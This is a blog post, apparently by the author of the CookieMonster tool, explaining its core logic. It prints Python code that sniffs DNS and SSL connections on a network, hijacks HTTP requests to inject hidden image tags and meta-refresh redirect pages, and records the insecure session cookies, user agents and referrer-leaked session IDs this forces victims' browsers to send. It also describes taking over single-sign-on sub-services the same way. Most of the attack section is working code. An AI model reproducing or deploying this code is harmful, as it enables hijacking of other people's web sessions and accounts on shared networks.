Cookiemonster Core Logic Configuration And Readmes

마지막 업데이트 : 18 11월 2024

CookieMonster Core Logic, Configuration, and READMEs


This post describes the core logic of CookieMonster in more precise
terms than the previous overview post. The hope is to drive home
exactly how the tool functions, and to underscore that source code
counts as speech in this capacity (and in general). In addition, the
README that illustrates how the tool is used
, and a README describing a “Quick Start” Live CD method for Mac
and Windows users who do not have Linux installs are now available. Finally, an example configuration file for the tool is now
posted as well. These should hopefully give a clearer picture of how the tool works and how it can be used.

The most crucial aspect of this sort of attack that most people seem to
miss is its ability to cull arbitrary cookies for a list of insecure
domains from every client IP on a network even when the user is not
using those sites at the time. The second most crucial aspect is how
the tool is still able to compromise arbitrary insecure SSL sites in
the common case without the need to provide such a target list.

To better illustrate these processes, the core logic loop of the tool follows below. Some basic corner cases (such as tracking HTTP data across multiple packets, exception handling, and log messages) have been removed for brevity and clarity, but the functionality is the same.

As you can see, the core loop has 3 main sections covering the
5 stages from the
previous post
. First, we obtain DNS responses and cache them. Then,
when we see SSL connections, we look up the destination IP in this DNS
table, and add it to the list of targets for the IP. Then, when any
arbitrary web request comes in to port 80, we hijack it, and inject
images for all of these cached targets, in addition to a list of
targets provided in the configuration file. On subsequent requests for
these images (which contain our desired cookies), we record these
transmitted cookies to our Firefox 2.0 or 3.0 compatible cookies
files.

The source code below provides further, more precise commentary on
this process:

  # Stage 1: Capture DNS responses
  if pkt.data.data.sport == 53: # DNS port
    dns_table.store(dpkt.dns.DNS(pkt.data.data.data))
  # Stage 2 and 3: Add ssl connections to target list
  elif pkt.data.data.dport == 443: # SSL Connection port
    # Only care about very first tcp packet (syn)
    if pkt.data.data.flags & dpkt.tcp.TH_SYN 
      and not pkt.data.data.flags & dpkt.tcp.TH_ACK:
      client_ip = socket.inet_ntoa(pkt.data.src)
      host = dns_table.lookup(pkt.data.dst)
      if host:
        tgt_table.add_target(client_ip, host)
  # Stage 4 and 5: Perform injection and record cookies
  elif pkt.data.data.dport == 80: # Web connection port
    client_ip = socket.inet_ntoa(pkt.data.src)
    # Simplification: In the actual tool, we track HTTP 
    # requests across multiple fragments
    req = dpkt.http.Request(pkt.data.data.data)
    if "host" in req.headers: host = req.headers["host"]
    else: continue
    # Log referrers to capture "secure" GET-based session IDs
    # that leak as the user navigates from SSL to non-SSL
    if get_referer and "referer" in req.headers:
      referer = req.headers["referer"]
      for r in LOG_REFERERS_WITH:
        if r in referer:
          log_referer(client_ip, referer)
    # If we haven't seen this client before, initialize with
    # default target set
    if not tgt_table.is_target(client_ip):
      tgt_table.add_target(client_ip)
    if "user-agent" in req.headers:
      user_agent = req.headers["user-agent"]
    else:
      user_agent = ""
    # Check to see if we have any targets available for this
    # client_ip and if this GET is for a content element 
    # that will support html injection.
    if tgt_table.is_pwnable(client_ip) 
      and not tgt_table.is_target_host(client_ip, host) 
      and not tgt_table.is_pwnt(client_ip, host):
      # Check accept types for html (Avoid xml, rss, img, etc)
      if "accept" in req.headers and 
        "text/html" in req.headers["accept"] or 
         "MSIE" in user_agent:
        # Only inject if this is a fresh page load
        if aggressive_inject or "referer" not in req.headers:
          do_inject(tx, raw_pkt, client_ip, tgt_table, is_wep,
                    wep_key, "referer" not in req.headers)
        continue
    # We should mark them at this point because for secure
    # SSL sites we will get no cookies
    tgt_table.mark_pwnt(client_ip, host)
    cookies = 0
    if "cookie" in req.headers: cookies = req.headers["cookie"]
    if cookies and host:
      cookie_list = cookies.split(";")
      # Record the user agent
      if get_uagent and user_agent:
        if client_ip not in recorded_agents 
           or recorded_agents[client_ip] != user_agent:
          recorded_agents[client_ip] = user_agent
          f = file("./cookies/uagent.log", "a+")
          f.write(client_ip+": "+user_agent+"n")
          f.close()
      cookie_jars.write_cookies(client_ip, host, cookie_list)



The following function describes how the HTML is built from template
variables for injection:

INJECT_PAGE_HEAD = '<html><head><meta http-equiv="refresh" 
   content="1;"></head><body bgcolor=white fgcolor=white>'
INJECT_PAGE_TAIL = '</body></html>'
INJECT_TAG_HEAD = '<img width="1" height="1" src="http://'
INJECT_TAG_TAIL = '/">'
def build_inject_data(ip, targets):
  # Do Image injection
  ret = INJECT_PAGE_HEAD
  for h in targets.enum_targets(ip):
    if targets.count_attempts(ip, h) > MAX_ATTEMPTS:
      targets.mark_pwnt(ip, h)
    if h not in COMMON_PATHS:
      ret += INJECT_TAG_HEAD+h+INJECT_TAG_TAIL
    else:
      for p in COMMON_PATHS[h]:
        ret += INJECT_TAG_HEAD+h+p+INJECT_TAG_TAIL
  ret += INJECT_PAGE_TAIL+"rn"
  ret = INJECT_HTTP_HEADER+str(len(ret))+"rnrn"+ret
  return ret



A similar piece of code describes generating html for a full redirect
“bounce” attack, which is used for gathering cookies from “secure”
sites that will generate insecure versions of cookies when you visit
their http urls. The same technique can also be used for
single-signon systems that will automatically generate insecure
authentication cookies for any sub-service that a user “visits” after
they are logged in to the main signon engine. This common flaw allows
an attacker to gain acces to arbitrary sub-services of the
single-signon domain.

BOUNCE_PAGE_HEAD = '<html><head><meta http-equiv="refresh"  
   content="0; URL=http://'
BOUNCE_PAGE_TAIL = '/"></head><body bgcolor="white"
   fgcolor="white"></body></html>'
def build_bounce_data(ip):
  for h in targets.enum_targets(ip):
    if h in FULL_BOUNCE_FOR:
      ret = BOUNCE_PAGE_HEAD
      if targets.count_attempts(ip, h) > MAX_ATTEMPTS:
        targets.mark_pwnt(ip, h)
      if h not in COMMON_PATHS:
        ret += "http://"+h
      else:
        ret += h+COMMON_PATHS[h][0]
      ret += BOUNCE_PAGE_TAIL+"rn"
      ret = INJECT_HTTP_HEADER+str(len(ret))+"rnrn"+ret
      return ret
  return 0



At a future date, this post will be updated with a link to the human-readable source code for the tool for further clarification.

Post new comment



The content of this field is kept private and will not be shown publicly.



  • Web page addresses and e-mail addresses turn into links automatically.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Lines and paragraphs break automatically.

More information about formatting options


CAPTCHA
This question is for testing whether you are a human visitor and to prevent automated spam submissions.


   ____   __  __    ____      _       ___  
/ ___| | / | / ___| / / _
| | | |/| | | | / _ | | | |
| |___ | | | | | |___ / ___ | |_| |
____| |_| |_| ____| /_/ _ ___

Enter the code depicted in ASCII art style.